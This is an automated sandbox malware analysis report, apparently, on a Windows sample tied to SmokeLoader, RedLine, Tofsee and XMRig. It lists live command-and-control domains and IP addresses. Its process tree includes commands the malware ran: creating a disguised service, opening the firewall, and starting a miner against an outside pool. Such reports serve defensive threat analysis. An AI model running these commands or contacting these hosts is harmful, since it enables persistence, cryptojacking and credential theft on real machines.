Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10_x64
  • resource
    win10-en
  • submitted
    19/09/2021, 12:56

General

  • Target
    cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe
  • Size 242KB
  • Sample210919-p6cslsefer
  • SHA256 cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf1e9a6ff877960e98113
  • MD5 SHA1 SHA512

Malware Config

Extracted

Family
  • smokeloader

Version
  • 2020

C2
  • http://venerynnet1.top/

  • http://kevonahira2.top/

  • http://vegangelist3.top/

  • http://kingriffaele4.top/

  • http://arakeishant5.top/

rc4.i32
rc4.i32

Extracted

Family
  • redline

Botnet
  • UDP

C2
  • 45.9.20.20:13441

Extracted

Family
  • redline

Botnet
  • superstarlogs

C2
  • 94.26.249.88:32478

Signatures

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 5 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
  • XMRig Miner Payload 3 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Executes dropped EXE 10 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Sets service image path in registry 2 TTPs
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 5 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe
    "C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:3980
    • C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe
      "C:\Users\Admin\AppData\Local\Temp\cbbd811dba00f28e1cb627f78b40535ae246edb9d9dcf.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:520
  • C:\Users\Admin\AppData\Local\Temp\12E7.exe
    C:\Users\Admin\AppData\Local\Temp\12E7.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:3916
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\gjubovgf\
      2⤵
        PID:3684
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\xvkwqmxn.exe" C:\Windows\SysWOW64\gjubovgf\
        2⤵
          PID:3564
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create gjubovgf binPath= "C:\Windows\SysWOW64\gjubovgf\xvkwqmxn.exe /d\"C:\Users\Admin\AppData\Local\Temp\12E7.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1016
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description gjubovgf "wifi internet conection"
            2⤵
              PID:1188
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start gjubovgf
              2⤵
                PID:1476
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1908
              • C:\Users\Admin\AppData\Local\Temp\1837.exe
                C:\Users\Admin\AppData\Local\Temp\1837.exe
                1⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • Suspicious use of AdjustPrivilegeToken
                PID:3840
                • C:\Windows\system32\WerFault.exe
                  C:\Windows\system32\WerFault.exe -u -p 3840 -s 1588
                  2⤵
                  • Program crash
                  • Suspicious use of AdjustPrivilegeToken
                  PID:508
              • C:\Windows\SysWOW64\gjubovgf\xvkwqmxn.exe
                C:\Windows\SysWOW64\gjubovgf\xvkwqmxn.exe /d"C:\Users\Admin\AppData\Local\Temp\12E7.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1740
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  • Suspicious use of WriteProcessMemory
                  PID:2684
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:780
              • C:\Users\Admin\AppData\Local\Temp\26EE.exe
                C:\Users\Admin\AppData\Local\Temp\26EE.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:2364
              • C:\Users\Admin\AppData\Local\Temp\3101.exe
                C:\Users\Admin\AppData\Local\Temp\3101.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:3972
              • C:\Users\Admin\AppData\Local\Temp\377A.exe
                C:\Users\Admin\AppData\Local\Temp\377A.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                PID:3564
              • C:\Users\Admin\AppData\Local\Temp\447B.exe
                C:\Users\Admin\AppData\Local\Temp\447B.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1468
                • C:\Users\Admin\AppData\Local\Temp\447B.exe
                  C:\Users\Admin\AppData\Local\Temp\447B.exe
                  2⤵
                  • Executes dropped EXE
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2152
              • C:\Users\Admin\AppData\Local\Temp\4C0E.exe
                C:\Users\Admin\AppData\Local\Temp\4C0E.exe
                1⤵
                • Executes dropped EXE
                PID:1580
              • C:\Users\Admin\AppData\Local\Temp\5892.exe
                C:\Users\Admin\AppData\Local\Temp\5892.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                PID:3828

              Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

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                    Downloads

                    memory/520-116-0x0000000000400000-0x0000000000408000-memory.dmp

                    memory/780-241-0x0000000002450000-0x0000000002541000-memory.dmp

                    memory/780-236-0x0000000002450000-0x0000000002541000-memory.dmp

                    memory/1468-181-0x00000000008C0000-0x00000000008C1000-memory.dmp

                    memory/1468-183-0x0000000005100000-0x0000000005101000-memory.dmp

                    memory/1468-184-0x00000000050A0000-0x00000000050A1000-memory.dmp

                    memory/1468-186-0x00000000052D0000-0x00000000052D1000-memory.dmp

                    memory/1580-197-0x00000000025B0000-0x0000000002682000-memory.dmp

                    memory/1580-210-0x0000000000400000-0x0000000000563000-memory.dmp

                    memory/1740-145-0x0000000000400000-0x000000000044D000-memory.dmp

                    memory/1740-144-0x0000000000580000-0x00000000006CA000-memory.dmp

                    memory/2152-204-0x0000000000400000-0x0000000000422000-memory.dmp

                    memory/2152-218-0x0000000004CC0000-0x00000000052C6000-memory.dmp

                    memory/2364-153-0x0000000005690000-0x0000000005691000-memory.dmp

                    memory/2364-188-0x00000000073A0000-0x00000000073A1000-memory.dmp

                    memory/2364-158-0x0000000005600000-0x0000000005C06000-memory.dmp

                    memory/2364-154-0x00000000056D0000-0x00000000056D1000-memory.dmp

                    memory/2364-146-0x0000000077590000-0x000000007771E000-memory.dmp

                    memory/2364-192-0x0000000007220000-0x0000000007221000-memory.dmp

                    memory/2364-190-0x0000000006EE0000-0x0000000006EE1000-memory.dmp

                    memory/2364-148-0x0000000001090000-0x0000000001091000-memory.dmp

                    memory/2364-150-0x0000000005C10000-0x0000000005C11000-memory.dmp

                    memory/2364-151-0x0000000005630000-0x0000000005631000-memory.dmp

                    memory/2364-152-0x0000000005760000-0x0000000005761000-memory.dmp

                    memory/2364-187-0x0000000006CA0000-0x0000000006CA1000-memory.dmp

                    memory/2364-215-0x0000000007DD0000-0x0000000007DD1000-memory.dmp

                    memory/2684-140-0x0000000002C40000-0x0000000002C55000-memory.dmp

                    memory/3012-118-0x00000000028C0000-0x00000000028D5000-memory.dmp

                    memory/3564-177-0x0000000000400000-0x0000000000493000-memory.dmp

                    memory/3564-176-0x0000000000920000-0x00000000009B0000-memory.dmp

                    memory/3828-234-0x00000000051A0000-0x00000000051A1000-memory.dmp

                    memory/3828-233-0x0000000077590000-0x000000007771E000-memory.dmp

                    memory/3828-222-0x0000000001000000-0x0000000001001000-memory.dmp

                    memory/3840-130-0x000000001B330000-0x000000001B332000-memory.dmp

                    memory/3840-125-0x0000000000640000-0x0000000000641000-memory.dmp

                    memory/3916-128-0x00000000001E0000-0x00000000001F3000-memory.dmp

                    memory/3916-129-0x0000000000400000-0x000000000044D000-memory.dmp

                    memory/3972-160-0x00000000021A0000-0x00000000021BF000-memory.dmp

                    memory/3972-171-0x0000000000400000-0x0000000000460000-memory.dmp

                    memory/3972-162-0x00000000023F0000-0x000000000240E000-memory.dmp

                    memory/3972-161-0x0000000004A40000-0x0000000004A41000-memory.dmp

                    memory/3972-175-0x0000000004A34000-0x0000000004A36000-memory.dmp

                    memory/3972-174-0x0000000004A33000-0x0000000004A34000-memory.dmp

                    memory/3972-159-0x0000000000560000-0x00000000006AA000-memory.dmp

                    memory/3972-172-0x0000000004A30000-0x0000000004A31000-memory.dmp

                    memory/3972-173-0x0000000004A32000-0x0000000004A33000-memory.dmp

                    memory/3980-115-0x00000000001C0000-0x00000000001C9000-memory.dmp